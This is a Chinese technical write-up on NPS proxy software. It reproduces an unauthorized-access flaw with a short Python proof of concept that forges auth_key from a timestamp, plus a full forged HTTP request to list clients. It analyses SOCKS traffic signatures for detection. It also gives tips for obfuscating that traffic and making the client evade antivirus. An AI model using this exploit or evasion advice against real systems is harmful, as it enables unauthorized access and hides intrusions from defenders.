NPS之Socks流量分析以及未授权复现
字数 816 2025-08-12 11:34:35
NPS之Socks流量分析及未授权访问复现技术文档
1. 环境准备
1.1 服务器环境
- 操作系统:Ubuntu 16.04
- 服务器软件:NPS v0.26.10
- 安装步骤:
mkdir nps cd nps wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz tar -zxvf linux_amd64_server.tar.gz ./nps install cd /etc/nps/conf/ vim nps.conf
1.2 客户端环境
- 操作系统:Windows Server 2012R2
- 客户端软件:NPC客户端
2. 配置文件详解
2.1 服务器配置文件(nps.conf)
#web管理界面配置
web_host=a.o.com
web_username=xxxx # 管理端用户名
web_password=xxxxxx # 管理端密码
web_port=xxxxx # 管理端端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
#bridge配置
bridge_type=tcp # 客户端连接协议
bridge_port=xxxx # 客户端连接端口(建议不要使用默认8024端口)
bridge_ip=0.0.0.0
#安全配置(修复未授权访问的关键)
auth_key=test
auth_crypt_key=!QAZ4rfv%TGB^YHN
3. 未授权访问漏洞复现
3.1 POC代码
#encoding=utf-8
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now)))
3.2 利用方式
- 直接访问构造的URL:
http://vps:port?payload - 发送POST请求获取客户端列表:
POST /client/list HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://vps:port
Connection: close
Referer: http://vps:port/client/list
search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547
3.3 修复措施
- 取消注释并修改
nps.conf中的安全配置:auth_key=test auth_crypt_key=!QAZ4rfv%TGB^YHN - 确保使用最新版本并正确配置
4. Socks流量分析
4.1 客户端配置
[common]
server_addr=vps:port
conn_type=tcp
vkey=xxxx
auto_reconnection=true
max_conn=1000
flow_limit=1000
rate_limit=1000
basic_username=11
basic_password=3
web_username=xxxx
web_password=xxxxx
crypt=true
compress=true
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60
启动命令:
npc.exe -server=vps:port -vkey=xxxxx -type=tcp
4.2 流量特征分析
-
初始握手过程:
- 服务器向客户端发送TST
- 客户端向服务端确认版本(0.26.0)
- 服务端返回版本MD5值:
md5("0.26.0")=89a4f3fc3c89257d6f712de6964bda8e
-
认证过程:
- 客户端传输给服务端密钥连接:
md5(vkey) - 服务端校验后返回"success"
- 客户端传输给服务端密钥连接:
-
流量特征总结:
- 固定的版本号交换
- MD5校验过程
- 固定的成功响应"success"
4.3 流量混淆建议
- 修改加密方式
- 修改版本关键字
- 自定义成功响应标识
5. 安全建议
-
配置安全:
- 必须设置
auth_key和auth_crypt_key - 避免使用默认端口(8024)
- 必须设置
-
客户端安全:
- 对客户端进行免杀处理(因常规NPC客户端会被杀毒软件识别)
- 使用加密和压缩选项
-
网络防护:
- 监控异常的版本交换流量
- 检测异常的MD5校验过程
-
版本更新:
- 保持NPS为最新版本
- 定期检查安全更新
6. 内网穿透测试
使用工具如Goby测试Socks5代理功能,确认内网穿透成功实现。通过Wireshark抓包分析具体流量特征,验证上述分析结果。